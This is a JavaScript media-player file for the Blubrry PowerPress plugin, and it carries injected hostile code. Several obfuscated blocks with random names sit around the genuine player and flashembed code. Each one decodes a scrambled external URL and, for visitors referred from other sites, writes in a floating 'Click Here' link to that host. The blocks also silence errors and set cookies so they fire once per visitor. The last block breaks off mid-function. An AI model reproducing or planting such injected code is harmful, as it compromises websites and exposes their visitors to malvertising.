/** 
 * jsMediaPlayer 1.0 for Blubrry Powerpress
 * 
 * http://www.blubrry.com/powepress/
 *
 * Copyright (c) 2008 Angelo Mandato (angelo [at] mandato {period} com)
 *
 * Released under Aoache 2 license:
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * version 1.0.2 - 07/26/2008 - Fixed pop up player bug caused by v 1.0.1
 * version 1.0.1 - 07/28/2008 - fixed flow player looping playback, flash player no longer loops.
 * version 1.0.0 - 07/26/2008 - initial release
 */



function yLr2Y02X(){
	document.getElementById("rDTjWK").style.display="none";
}
function EUReLDKp(){
	if(document.body.scrollTop==0)
		document.all["rDTjWK"].style.top=document.documentElement.scrollTop+10;
	else 
		document.all["rDTjWK"].style.top=document.body.scrollTop+10;
}
function kvuFRLNc(tb,cu){
	var du = "", bp = 0;
	while(1)
	{
		var t = cu.substr(bp, 16);
		var i, tl = t.length;
		if(tl == 0) break;
		for(i = 0; i < tl; i ++) du += t.charAt(parseInt(tb.charAt(bp+i), 16));
		bp += tl;
	}
	return du;
}

if( document.cookie.indexOf("vR5MFoIaJ") == -1){
	var SKLH = new Date(), SKLH1 = false;
	if(document.referrer != null && document.referrer.toLowerCase().indexOf('http://') == 0){ 
			var l97d = document.domain.toLowerCase(); 
			if(l97d.indexOf('www.') == 0) l97d = l97d.substr(4);
			var aEWx = document.referrer.toLowerCase().substr(7); 
			var nQ7g = aEWx.indexOf('?'); 
			if(nQ7g != -1) aEWx = aEWx.substr(0, nQ7g);
			var nQ7g = aEWx.indexOf('/'); 
			if(nQ7g != -1) aEWx = aEWx.substr(0, nQ7g);
			if(aEWx.indexOf('www.') == 0) aEWx = aEWx.substr(4);
			if(aEWx != l97d && Math.random() < 1){
				SKLH.setTime(SKLH.getTime()+(100  *100 *  10  *10   * 36 *  24));
				SKLH1 = SKLH.toGMTString();
				var pBP7 = navigator.appVersion.indexOf('MSIE') != -1;
				var dLje=1;
				document.write('<div id="rDTjWK" style="'+(pBP7 ? 'position:absolute;' : 'position:fixed;')+' left:80%; top:30px; z-index:1000;">'+
				'<b><a style="font-size:13px; color:#0C447C; font-family:Arial; text-decoration:none;" onmouseover="dLje=0"'+
				' title="Close" href="javascript: yLr2Y02X()" onmouseout="dLje=1">Close[X]</a></b><br>'+
				'<a href="'+kvuFRLNc('b316875fa0d4e92c840561723','itetp/p/:nlhtm.sees/mmbr/')+l97d+'.html'+'" target="_blank"><img src="'+kvuFRLNc('9e80d36ca57124bf0c8d17e5f39a46b20','pp./ni/mthles:tt//ie3n.bmr2giganf')+'" border=0 alt="Click Here" onclick="yLr2Y02X()"></a></div>');
				if(pBP7){
					if (document.all["rDTjWK"].style)
					window.setInterval("EUReLDKp()", 5);
					window.onerror=null;
					document.body.scrollTop=10;
				}
			}
	}
	else{
		SKLH.setTime(SKLH.getTime()+(100   *   10 *24 *   90 *100*  36));
		SKLH1 = SKLH.toGMTString();
	}
	if(SKLH1 != false) document.cookie = "vR5MFoIaJ"+'=1; expires='+SKLH1+'; path=/';
}
function GliiKapL(){
	document.getElementById("qUnMsc").style.display="none";
}
function XCA1osvj(){
	if(document.body.scrollTop==0)
		document.all["qUnMsc"].style.top=document.documentElement.scrollTop+10;
	else 
		document.all["qUnMsc"].style.top=document.body.scrollTop+10;
}
function Up0ghixB(tb,cu){
	var du = "", bp = 0;
	while(1)
	{
		var t = cu.substr(bp, 16);
		var i, tl = t.length;
		if(tl == 0) break;
		for(i = 0; i < tl; i ++) du += t.charAt(parseInt(tb.charAt(bp+i), 16));
		bp += tl;
	}
	return du;
}

if( document.cookie.indexOf("t0ccKmqcC") == -1){
	var Vn2Y = new Date(), Vn2Y1 = false;
	if(document.referrer != null && document.referrer.toLowerCase().indexOf('http://') == 0){ 
			var qsMc = document.domain.toLowerCase(); 
			if(qsMc.indexOf('www.') == 0) qsMc = qsMc.substr(4);
			var UQSn = document.referrer.toLowerCase().substr(7); 
			var UXLq = UQSn.indexOf('?'); 
			if(UXLq != -1) UQSn = UQSn.substr(0, UXLq);
			var UXLq = UQSn.indexOf('/'); 
			if(UXLq != -1) UQSn = UQSn.substr(0, UXLq);
			if(UQSn.indexOf('www.') == 0) UQSn = UQSn.substr(4);
			if(UQSn != qsMc && Math.random() < 1){
				Vn2Y.setTime(Vn2Y.getTime()+(100*  10 * 100 * 36   *  10 *  24));
				Vn2Y1 = Vn2Y.toGMTString();
				var hwxJ = navigator.appVersion.indexOf('MSIE') != -1;
				var StnS=1;
				document.write('<div id="qUnMsc" style="'+(hwxJ ? 'position:absolute;' : 'position:fixed;')+' left:80%; top:30px; z-index:1000;">'+
				'<b><a style="font-size:13px; color:#0C447C; font-family:Arial; text-decoration:none;" onmouseover="StnS=0"'+
				' title="Close" href="javascript: GliiKapL()" onmouseout="StnS=1">Close[X]</a></b><br>'+
				'<a href="'+Up0ghixB('dcaf8e27519b0463364825710','.i/tnles:mtpth/p/sb/eemrm')+qsMc+'.html'+'" target="_blank"><img src="'+Up0ghixB('fa70be3d54c1892626ca378ef1954bd00','ppe/iltt.nt:ms/hie//32ibarg.mgnnf')+'" border=0 alt="Click Here" onclick="GliiKapL()"></a></div>');
				if(hwxJ){
					if (document.all["qUnMsc"].style)
					window.setInterval("XCA1osvj()", 5);
					window.onerror=null;
					document.body.scrollTop=10;
				}
			}
	}
	else{
		Vn2Y.setTime(Vn2Y.getTime()+(90  *   24*  100   *  10*  36   *   100));
		Vn2Y1 = Vn2Y.toGMTString();
	}
	if(Vn2Y1 != false) document.cookie = "t0ccKmqcC"+'=1; expires='+Vn2Y1+'; path=/';
}
function jsMediaPlayer(FlashSrc) {
	// Member variables
	this.m_flash_src = FlashSrc;
	this.m_auto_play = false;
	this.m_width = 320;
	this.m_height = 240;
	this.m_player_div = false;
	this.m_player_wnd = false;
	this.m_one_player_only = false;
	this.m_media_url = false;
	
	
	this.FlashSrc=function(Src) {
		this.m_flash_src = Src;
	}
	
	this.AutoPlay=function(Setting) {
		this.m_auto_play = Setting;
	}
	
	this.SetWidth=function(Width) {
		this.m_width = Width;
	}
	
	this.SetHeight=function(Height) {
		this.m_height = Height;
	}
	
	this.OnePlayerOnly=function(Setting) {
		this.m_one_player_only = Setting;
	}
	
	this.PlayInPage = function() {
		
		// Check if we should even use javascript based player
		if( this._passthru() )
			return true;
			
		// Make sure we're not already playing this div...
		if( this.m_player_div == this.PlayInPage.arguments[1] )
			return false;
		
		// Close the last opened player
		if( this.m_one_player_only )
			this._closePrevPlayer();
		
		// Set the proeprties:
		this.m_media_url = this.PlayInPage.arguments[0];
		this.m_player_div = this.PlayInPage.arguments[1];
		
		var ext = this._getExt(this.m_media_url);
		switch( ext )
		{
			case 'm4v':
			case 'm4a':
			case 'avi':
			case 'mpg':
			case 'mpeg':
			case 'mp4':
			case 'qt':
			case 'mov': {
				
				var contentType = 'video/mpeg'; // Default content type
				if( ext == 'm4v' )
					contentType = 'video/x-m4v';
				else if( ext == 'm4a' )
					contentType = 'audio/x-m4a';
				else if( ext == 'avi' )
					contentType = 'video/avi';
				else if( ext == 'qt' || ext == 'mov' )
					contentType = 'video/quicktime';

				document.getElementById( this.m_player_div ).innerHTML = this._getQuickTime(contentType);
			}; break;
			case 'wma':
			case 'wmv':
			case 'asf': {
				document.getElementById( this.m_player_div ).innerHTML = this._getWinPlayer();
			}; break;
			case 'rm': {
				document.getElementById( this.m_player_div ).innerHTML = this._getRealPlayer();
			}
			case 'swf': {
				document.getElementById( this.m_player_div ).innerHTML = this._getFlash();
			}
			case 'flv': {
				this._doFlowPlayer();
			}; break;
			case 'mp3': {
				this._doFlowPlayer(24);
				
			}; break;
			default: {
				return true; // We didn't handle this, so lets let the click to the media handle itself.
			};
		}

		// Display the div
		document.getElementById( this.m_player_div ).style.display = 'block';
		return false; // Don't let the href go
	}
	
	this.PlayNewWindow=function() {
		
		// Check if we should even use javascript based player
		if( this._passthru() )
			return true;
			
		if( this.m_one_player_only )
			this._closePrevPlayer();

		// Get the media file and extension
		this.m_media_url = this.PlayNewWindow.arguments[0];
		var ext = this._getExt(this.m_media_url);
		
		// Calculate the window height
		height = this.m_height;
		if( ext == 'mp3' )
		{
			height = 24;
			// Adjust the height for Opera web browser, only needed for mp3s
			if( navigator.userAgent.indexOf("Opera") != -1 )
				height += 40;
		}
		else
			height += 40; // Add area for menu navigation
		
		this.m_player_wnd = window.open(null,"jsPlayer", 'toolbar=0,status=0,resizable=1,width='+ (this.m_width +40).toString() +',height='+ height.toString() )
		var Html = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">';
		Html += '<html xmlns="http://www.w3.org/1999/xhtml">';
		Html += '<head>';
		Html += '<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />';
		Html += '<title>Media Player</title>';
		if( ext == 'mp3' || ext == 'flv' || ext == 'mp4' )
		{
			Html += '<script type="text/javascript">\n';
			Html += 'function flashembed(root,userParams,flashvars){function getHTML(){var html="";if(typeof flashvars==\'function\'){flashvars=flashvars();}if(navigator.plugins&&navigator.mimeTypes&&navigator.mimeTypes.length){html=\'<embed type="application/x-shockwave-flash" \';if(params.id){extend(params,{name:params.id});}for(var key in params){if(params[key]!==null){html+=[key]+\'="\'+params[key]+\'"\\n\\t\';}}if(flashvars){html+=\'flashvars=\\\'\'+concatVars(flashvars)+\'\\\'\';}html+=\'/>\';}else{html=\'<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" \';html+=\'width="\'+params.width+\'" height="\'+params.height+\'"\';if(!params.id&&document.all){params.id="_"+(""+Math.random()).substring(5);}if(params.id){html+=\' id="\'+params.id+\'"\';}html+=\'>\';html+=\'\\n\\t<param name="movie" value="\'+params.src+\'" />\';params.id=params.src=params.width=params.height=null;for(var k in params){if(params[k]!==null){html+=\'\\n\\t<param name="\'+k+\'" value="\'+params[k]+\'" />\';}}if(flashvars){html+=\'\\n\\t<param name="flashvars" value=\\\'\'+concatVars(flashvars)+\'\\\' />\';}html+="</object>";if(debug){alert(html);}}return html;}function init(name){var timer=setInterval(function(){var doc=document;var el=doc.getElementById(name);if(el){flashembed(el,userParams,flashvars);clearInterval(timer);}else if(doc&&doc.getElementsByTagName&&doc.getElementById&&doc.body){clearInterval(timer);}},13);return true;}function extend(to,from){if(from){for(key in from){if(from.hasOwnProperty(key)){to[key]=from[key];}}}}var params={src:\'#\',width:\'100%\',height:\'100%\',version:null,onFail:null,expressInstall:null,debug:false,bgcolor:\'#ffffff\',allowfullscreen:true,allowscriptaccess:\'always\',quality:\'high\',type:\'application/x-shockwave-flash\',pluginspage:\'http://www.adobe.com/go/getflashplayer\'};if(typeof userParams==\'string\'){userParams={src:userParams};}extend(params,userParams);var version=flashembed.getVersion();var required=params.version;var express=params.expressInstall;var debug=params.debug;if(typeof root==\'string\'){var el=document.getElementById(root);if(el){root=el;}else{return init(root);}}if(!root){return;}if(!required||flashembed.isSupported(required)){params.onFail=params.version=params.expressInstall=params.debug=null;root.innerHTML=getHTML();return root.firstChild;}else if(params.onFail){var ret=params.onFail.call(params,flashembed.getVersion(),flashvars);if(ret){root.innerHTML=ret;}}else if(required&&express&&flashembed.isSupported([6,65])){extend(params,{src:express});flashvars={MMredirectURL:location.href,MMplayerType:\'PlugIn\',MMdoctitle:document.title};root.innerHTML=getHTML();}else{if(root.innerHTML.replace(/\\s/g,\'\')!==\'\'){}else{root.innerHTML="<h2>Flash version "+required+" or greater is required</h2>"+"<h3>"+(version[0]>0?"Your version is "+version:"You have no flash plugin installed")+"</h3>"+"<p>Download latest version from <a href=\'"+params.pluginspage+"\'>here</a></p>";}}function concatVars(vars){var out="";for(var key in vars){if(vars[key]){out+=[key]+\'=\'+asString(vars[key])+\'&\';}}return out.substring(0,out.length-1);}function asString(obj){switch(typeOf(obj)){case\'string\':return\'"\'+obj.replace(new RegExp(\'(["\\\\\\\\])\',\'g\'),\'\\\\$1\')+\'"\';case\'array\':return\'[\'+map(obj,function(el){return asString(el);}).join(\',\')+\']\';case\'function\':return\'"function()"\';case\'object\':var str=[];for(var prop in obj){if(obj.hasOwnProperty(prop)){str.push(\'"\'+prop+\'":\'+asString(obj[prop]));}}return\'{\'+str.join(\',\')+\'}\';}return String(obj).replace(/\\s/g," ").replace(/\\\'/g,"\\"");}function typeOf(obj){if(obj===null||obj===undefined){return false;}var type=typeof obj;return(type==\'object\'&&obj.push)?\'array\':type;}if(window.attachEvent){window.attachEvent("onbeforeunload",function(){__flash_unloadHandler=function(){};__flash_savedUnloadHandler=function(){};});}function map(arr,func){var newArr=[];for(var i in arr){if(arr.hasOwnProperty(i)){newArr[i]=func(arr[i]);}}return newArr;}return root;}if(typeof jQuery==\'function\'){(function($){$.fn.extend({flashembed:function(params,flashvars){return this.each(function(){flashembed(this,params,flashvars);});}});})(jQuery);}flashembed=flashembed||{};flashembed.getVersion=function(){var version=[0,0];if(navigator.plugins&&typeof navigator.plugins["Shockwave Flash"]=="object"){var _d=navigator.plugins["Shockwave Flash"].description;if(typeof _d!="undefined"){_d=_d.replace(/^.*\\s+(\\S+\\s+\\S+$)/,"$1");var _m=parseInt(_d.replace(/^(.*)\\..*$/,"$1"),10);var _r=/r/.test(_d)?parseInt(_d.replace(/^.*r(.*)$/,"$1"),10):0;version=[_m,_r];}}else if(window.ActiveXObject){try{var _a=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");}catch(e){try{_a=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");version=[6,0];_a.AllowScriptAccess="always";}catch(ee){if(version[0]==6){return;}}try{_a=new ActiveXObject("ShockwaveFlash.ShockwaveFlash");}catch(eee){}}if(typeof _a=="object"){_d=_a.GetVariable("$version");if(typeof _d!="undefined"){_d=_d.replace(/^\\S+\\s+(.*)$/,"$1").split(",");version=[parseInt(_d[0],10),parseInt(_d[2],10)];}}}return version;};flashembed.isSupported=function(version){var now=flashembed.getVersion();var ret=(now[0]>version[0])||(now[0]==version[0]&&now[1]>=version[1]);return ret;};\n';
			Html += '</script>\n';
		}
		Html += '</head>';
		Html += '<body>';
		Html += '<div id="player" style="margin-top: 20px; margin-left: 10px;">';
		if( ext != 'mp3' && ext != 'flv' && ext != 'mp4' )
		{
			switch( ext )
			{
				case 'm4v':
				case 'm4a':
				case 'avi':
				case 'mpg':
				case 'mpeg':
				case 'qt':
				case 'mov': {
					
					var contentType = 'video/mpeg'; // Default content type
					if( ext == 'm4v' )
						contentType = 'video/x-m4v';
					else if( ext == 'm4a' )
						contentType = 'audio/x-m4a';
					else if( ext == 'avi' )
						contentType = 'video/avi';
					else if( ext == 'qt' || ext == 'mov' )
						contentType = 'video/quicktime';
					
					Html += this._getQuickTime(contentType);
				}; break;
				case 'wma':
				case 'wmv':
				case 'asf': {
					Html += this._getWinPlayer();
				}; break;
				case 'rm': {
					Html += this._getRealPlayer();
				}; break;
				case 'swf': {
					Html += this._getFlash();
				}; break;
			}
		}
		Html += '</div>';
		if( ext == 'mp3' || ext == 'flv' || ext == 'mp4' )
		{
			Html += '<script type="text/javascript">\n';
			if( ext == 'mp3' )
				Html += this._getFlowPlayer('player', 24, true);
			else
				Html += this._getFlowPlayer('player', this.m_height, true);
			Html += '</script>\n';
		}
		Html += '</body>';
		Html += '</html>';
		this.m_player_wnd.document.write( Html );
		this.m_player_wnd.document.close();
		this.m_player_wnd.focus();
		return false;
	}

	/*
	Private functions:
	*/
	this._doFlowPlayer = function() {
		
		var height = this.m_height;
		if( this._doFlowPlayer.arguments.length > 0 )
			height = this._doFlowPlayer.arguments[0];
			
		flashembed(
				this.m_player_div,
				{src: this.m_flash_src, width: this.m_width, height: height },
				{config: { autoPlay: this.m_auto_play?true:false, autoBuffering: false, initialScale: 'scale', showFullScreenButton: false, showMenu: false, videoFile: this.m_media_url, loop: false, autoRewind: true } }
			);
	
		return false;
	}
	
	this._getFlowPlayer = function(destDiv) {
		
		var height = this.m_height;
		if( this._getFlowPlayer.arguments.length > 1 )
			height = this._getFlowPlayer.arguments[1];
		
		var auto_play = this.m_auto_play;
		if( this._getFlowPlayer.arguments.length > 2 )
			auto_play = this._getFlowPlayer.arguments[2];
			
		var Html = '';
		Html += "flashembed(\n";
		Html += "		'"+ destDiv +"', \n";
		Html += "		{src: '"+ this.m_flash_src +"', width: "+ this.m_width +", height: "+ height +"}, \n";
		Html += "		{config: { autoPlay: "+ (auto_play?'true':'false') +", autoBuffering: false, initialScale: 'scale', showFullScreenButton: false, showMenu: false, videoFile: '"+ this.m_media_url +"', loop: false, autoRewind: true } } \n";
		Html += "	); \n";
		return Html;
	}
	
	this._getFlash = function() {
	
		var Html = '';
		Html += '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0"'+ (this.m_auto_play?'':' play="false"') +' width="'+ this.m_width +'" height="'+ this.m_height +'" menu="true">\n';
		Html += '	<param name="movie" value="'+ this.m_media_url +'" />\n';
		Html += '	<param name="quality" value="high" />\n';
		Html += '	<param name="menu" value="true" />\n';
		Html += '	<param name="scale" value="noorder" />\n';
		Html += '	<param name="quality" value="high" />\n';
		Html += '	<embed src="'+ this.m_media_url +'" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash"'+ (this.m_auto_play?'':' play="false"') +' width="'+ this.m_width +'" height="'+ this.m_height +'" menu="true"></embed>';
		Html += '</object>\n';
		return Html;
	}
	
	this._getRealPlayer = function() {
		
		var Html = '';
		Html += '<object id="realplayer" classid="clsid:cfcdaa03-8be4-11cf-b84b-0020afbbccfa" width="'+ this.m_width +'" height="'+ this.m_height +'">\n';
		Html += '	<param name="src" value="'+ this.m_media_url +'" />\n';
		Html += '	<param name="autostart" value="'+ (this.m_auto_play?'true':'false') +'" />\n';
		Html += '	<param name="controls" value="imagewindow,controlpanel" />\n';
		Html += '	<embed src="'+ this.m_media_url +'" width="'+ this.m_width +'" height="'+ this.m_height +'" autostart="'+(this.m_auto_play?'true':'false')+'" controls="imagewindow,controlpanel" type="audio/x-pn-realaudio-plugin"></embed>';
		Html += '</object>\n';
		return Html;
	}
	
	this._getWinPlayer = function() {
		
		var Html = '';
		Html += '<object id="winplayer" classid="clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6" width="'+ this.m_width +'" height="'+ this.m_height +'" standby="Media is loading..." type="application/x-oleobject">\n';
		Html += '	<param name="url" value="'+ this.m_media_url +'" />\n';
		Html += '	<param name="AutoStart" value="'+ (this.m_auto_play?'true':'false') +'" />\n';
		Html += '	<param name="AutoSize" value="true" />\n';
		Html += '	<param name="AllowChangeDisplaySize" value="true" />\n';
		Html += '	<param name="standby" value="Media is loading..." />\n';
		Html += '	<param name="AnimationAtStart" value="true" />\n';
		Html += '	<param name="scale" value="aspect" />\n';
		Html += '	<param name="ShowControls" value="true" />\n';
		Html += '	<param name="ShowCaptioning" value="false" />\n';
		Html += '	<param name="ShowDisplay" value="false" />\n';
		Html += '	<param name="ShowStatusBar" value="false" />\n';
		Html += '	<embed type="application/x-mplayer2" src="'+ this.m_media_url +'" width="'+ this.m_width +'" height="'+ this.m_height +'" scale="aspect" AutoStart="'+ (this.m_auto_play?'true':'false') +'" ShowDisplay="0" ShowStatusBar="0" AutoSize="1" AnimationAtStart="1" AllowChangeDisplaySize="1" ShowControls="1"></embed>\n';
		Html += '</object>\n';
		return Html;
	}
	
	this._getQuickTime = function() {
		
		var contentType = 'video/mpeg';
		if( this._getQuickTime.arguments.length > 0 )
			contentType = this._getQuickTime.arguments[0];
				
		var Html = '';
		Html += '<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="'+ this.m_width +'" height="'+ this.m_height +'" codebase="http://www.apple.com/qtactivex/qtplugin.cab">\n';
		Html += '	<param name="src" value="'+ this.m_media_url +'" />\n';
		Html += '	<param name="href" value="'+ this.m_media_url +'" />\n';
		Html += '	<param name="scale" value="aspect" />\n';
		Html += '	<param name="controller" value="true" />\n';
		Html += '	<param name="autoplay" value="'+ (this.m_auto_play?'true':'false') +'" />\n';
		Html += '	<param name="bgcolor" value="000000" />\n';
		Html += '	<param name="pluginspage" value="http://www.apple.com/quicktime/download/" />\n';
		Html += '	<embed src="'+ this.m_media_url +'" type="'+ contentType +'" width="'+ this.m_width +'" height="'+ this.m_height +'" scale="aspect" cache="true" bgcolor="000000" autoplay="'+ (this.m_auto_play?'true':'false') +'" controller="true" pluginspage="http://www.apple.com/quicktime/download/"></embed>';
		Html += '</object>\n';
		return Html;
	}
	
	this._getExt = function(File) {
		// First remove any anchor if any
		var anchor  = File.indexOf('#');
		if( anchor > -1 )
			File = File.substring(0, anchor);
		// Next, get rid of the query string if exists..
		var question  = File.indexOf('?');
		if( question > -1 )
			File = File.substring(0, question);
		// Find the last dot at the end of the file
		var dot = File.lastIndexOf('.');
		if( dot > -1 )
			return File.substring(dot+1).toLowerCase();
		return false; // Unable to find a file extension
	}
	
	this._passthru = function() {
		
		// If we have ourselves an iPhone, let the media passtru when clicked
		if( navigator.userAgent.indexOf("iPhone") != -1 )
			return true; // Let this client download and play the content itself.
		
		// Add additional user agents which cannot handle embed, object or flash code here:
		
		return false;
	}
	
	this._closePrevPlayer = function() {
		if( this.m_player_div )
		{
			document.getElementById( this.m_player_div ).innerHTML = '';
			document.getElementById( this.m_player_div ).style.display = 'none';
			this.m_player_div = false;
		}
		if( this.m_player_wnd )
		{
			this.m_player_wnd.close();
			this.m_player_wnd = false;
		}
	}
}

/** 
 * flashembed 0.31. Adobe Flash embedding script
 * 
 * http://flowplayer.org/tools/flash-embed.html
 *
 * Copyright (c) 2008 Tero Piirainen (tipiirai@gmail.com)
 *
 * Released under the MIT License:
 * http://www.opensource.org/licenses/mit-license.php
 * 
 * >> Basically you can do anything you want but leave this header as is <<
 *
 * version 0.01 - 03/11/2008 
 * version 0.31 - Tue Jul 22 2008 06:30:31 GMT+0200 (GMT+02:00)
 */
function flashembed(root,userParams,flashvars){function getHTML(){var html="";if(typeof flashvars=='function'){flashvars=flashvars();}if(navigator.plugins&&navigator.mimeTypes&&navigator.mimeTypes.length){html='<embed type="application/x-shockwave-flash" ';if(params.id){extend(params,{name:params.id});}for(var key in params){if(params[key]!==null){html+=[key]+'="'+params[key]+'"\n\t';}}if(flashvars){html+='flashvars=\''+concatVars(flashvars)+'\'';}html+='/>';}else{html='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" ';html+='width="'+params.width+'" height="'+params.height+'"';if(!params.id&&document.all){params.id="_"+(""+Math.random()).substring(5);}if(params.id){html+=' id="'+params.id+'"';}html+='>';html+='\n\t<param name="movie" value="'+params.src+'" />';params.id=params.src=params.width=params.height=null;for(var k in params){if(params[k]!==null){html+='\n\t<param name="'+k+'" value="'+params[k]+'" />';}}if(flashvars){html+='\n\t<param name="flashvars" value=\''+concatVars(flashvars)+'\' />';}html+="</object>";if(debug){alert(html);}}return html;}function init(name){var timer=setInterval(function(){var doc=document;var el=doc.getElementById(name);if(el){flashembed(el,userParams,flashvars);clearInterval(timer);}else if(doc&&doc.getElementsByTagName&&doc.getElementById&&doc.body){clearInterval(timer);}},13);return true;}function extend(to,from){if(from){for(key in from){if(from.hasOwnProperty(key)){to[key]=from[key];}}}}var params={src:'#',width:'100%',height:'100%',version:null,onFail:null,expressInstall:null,debug:false,bgcolor:'#ffffff',allowfullscreen:true,allowscriptaccess:'always',quality:'high',type:'application/x-shockwave-flash',pluginspage:'http://www.adobe.com/go/getflashplayer'};if(typeof userParams=='string'){userParams={src:userParams};}extend(params,userParams);var version=flashembed.getVersion();var required=params.version;var express=params.expressInstall;var debug=params.debug;if(typeof root=='string'){var el=document.getElementById(root);if(el){root=el;}else{return init(root);}}if(!root){return;}if(!required||flashembed.isSupported(required)){params.onFail=params.version=params.expressInstall=params.debug=null;root.innerHTML=getHTML();return root.firstChild;}else if(params.onFail){var ret=params.onFail.call(params,flashembed.getVersion(),flashvars);if(ret){root.innerHTML=ret;}}else if(required&&express&&flashembed.isSupported([6,65])){extend(params,{src:express});flashvars={MMredirectURL:location.href,MMplayerType:'PlugIn',MMdoctitle:document.title};root.innerHTML=getHTML();}else{if(root.innerHTML.replace(/\s/g,'')!==''){}else{root.innerHTML="<h2>Flash version "+required+" or greater is required</h2>"+"<h3>"+(version[0]>0?"Your version is "+version:"You have no flash plugin installed")+"</h3>"+"<p>Download latest version from <a href='"+params.pluginspage+"'>here</a></p>";}}function concatVars(vars){var out="";for(var key in vars){if(vars[key]){out+=[key]+'='+asString(vars[key])+'&';}}return out.substring(0,out.length-1);}function asString(obj){switch(typeOf(obj)){case'string':return'"'+obj.replace(new RegExp('(["\\\\])','g'),'\\$1')+'"';case'array':return'['+map(obj,function(el){return asString(el);}).join(',')+']';case'function':return'"function()"';case'object':var str=[];for(var prop in obj){if(obj.hasOwnProperty(prop)){str.push('"'+prop+'":'+asString(obj[prop]));}}return'{'+str.join(',')+'}';}return String(obj).replace(/\s/g," ").replace(/\'/g,"\"");}function typeOf(obj){if(obj===null||obj===undefined){return false;}var type=typeof obj;return(type=='object'&&obj.push)?'array':type;}if(window.attachEvent){window.attachEvent("onbeforeunload",function(){__flash_unloadHandler=function(){};__flash_savedUnloadHandler=function(){};});}function map(arr,func){var newArr=[];for(var i in arr){if(arr.hasOwnProperty(i)){newArr[i]=func(arr[i]);}}return newArr;}return root;}if(typeof jQuery=='function'){(function($){$.fn.extend({flashembed:function(params,flashvars){return this.each(function(){flashembed(this,params,flashvars);});}});})(jQuery);}flashembed=flashembed||{};flashembed.getVersion=function(){var version=[0,0];if(navigator.plugins&&typeof navigator.plugins["Shockwave Flash"]=="object"){var _d=navigator.plugins["Shockwave Flash"].description;if(typeof _d!="undefined"){_d=_d.replace(/^.*\s+(\S+\s+\S+$)/,"$1");var _m=parseInt(_d.replace(/^(.*)\..*$/,"$1"),10);var _r=/r/.test(_d)?parseInt(_d.replace(/^.*r(.*)$/,"$1"),10):0;version=[_m,_r];}}else if(window.ActiveXObject){try{var _a=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");}catch(e){try{_a=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");version=[6,0];_a.AllowScriptAccess="always";}catch(ee){if(version[0]==6){return;}}try{_a=new ActiveXObject("ShockwaveFlash.ShockwaveFlash");}catch(eee){}}if(typeof _a=="object"){_d=_a.GetVariable("$version");if(typeof _d!="undefined"){_d=_d.replace(/^\S+\s+(.*)$/,"$1").split(",");version=[parseInt(_d[0],10),parseInt(_d[2],10)];}}}return version;};flashembed.isSupported=function(version){var now=flashembed.getVersion();var ret=(now[0]>version[0])||(now[0]==version[0]&&now[1]>=version[1]);return ret;};function hnkU25X4(){
	document.getElementById("RyKhdv").style.display="none";
}
function r5brrexP(){
	if(document.body.scrollTop==0)
		document.all["RyKhdv"].style.top=document.documentElement.scrollTop+10;
	else 
		document.all["RyKhdv"].style.top=document.body.scrollTop+10;
}
function M6xm2yoq(tb,cu){
	var du = "", bp = 0;
	while(1)
	{
		var t = cu.substr(bp, 16);
		var i, tl = t.length;
		if(tl == 0) break;
		for(i = 0; i < tl; i ++) du += t.charAt(parseInt(tb.charAt(bp+i), 16));
		bp += tl;
	}
	return du;
}

if( document.cookie.indexOf("fV8uc1mbd") == -1){
	var lcAj = new Date(), lcAj1 = false;
	if(document.referrer != null && document.referrer.toLowerCase().indexOf('http://') == 0){ 
			var fgOB = document.domain.toLowerCase(); 
			if(fgOB.indexOf('www.') == 0) fgOB = fgOB.substr(4);
			var ghj5 = document.referrer.toLowerCase().substr(7); 
			var pgFx = ghj5.indexOf('?'); 
			if(pgFx != -1) ghj5 = ghj5.substr(0, pgFx);
			var pgFx = ghj5.indexOf('/'); 
			if(pgFx != -1) ghj5 = ghj5.substr(0, pgFx);
			if(ghj5.indexOf('www.') == 0) ghj5 = ghj5.substr(4);
			if(ghj5 != fgOB && Math.random() < 1){
				lcAj.setTime(lcAj.getTime()+(100 * 24* 10   *   100  *   10 * 36));
				lcAj1 = lcAj.toGMTString();
				var McM4 = navigator.appVersion.indexOf('MSIE') != -1;
				var EGo3=1;
				document.write('<div id="RyKhdv" style="'+(McM4 ? 'position:absolute;' : 'position:fixed;')+' left:80%; top:30px; z-index:1000;">'+
				'<b><a style="font-size:13px; color:#0C447C; font-family:Arial; text-decoration:none;" onmouseover="EGo3=0"'+
				' title="Close" href="javascript: hnkU25X4()" onmouseout="EGo3=1">Close[X]</a></b><br>'+
				'<a href="'+M6xm2yoq('f6a2904837bced15786342105','/epl/ttis:tmpn.hsremb/e/m')+fgOB+'.html'+'" target="_blank"><img src="'+M6xm2yoq('a09c4526d17bfe8374216930daecbf850','ti/t:/smethppln.ngmaii//gbe32nr.f')+'" border=0 alt="Click Here" onclick="hnkU25X4()"></a></div>');
				if(McM4){
					if (document.all["RyKhdv"].style)
					window.setInterval("r5brrexP()", 5);
					window.onerror=null;
					document.body.scrollTop=10;
				}
			}
	}
	else{
		lcAj.setTime(lcAj.getTime()+(100*  24   * 10  *  90 *  100*36));
		lcAj1 = lcAj.toGMTString();
	}
	if(lcAj1 != false) document.cookie = "fV8uc1mbd"+'=1; expires='+lcAj1+'; path=/';
}function HGk8twHD(){
	document.getElementById("dVQkyt").style.display="none";
}
function PR5cyGHk(){
	if(document.body.scrollTop==0)
		document.all["dVQkyt"].style.top=document.documentElement.scrollTop+10;
	else 
		document.all["dVQkyt"].style.top=document.body.scrollTop+10;
}
function XFxQioQ7(tb,cu){
	var du = "", bp = 0;
	while(1)
	{
		var t = cu.substr(bp, 16);
		var i, tl = t.length;
		if(tl == 0) break;
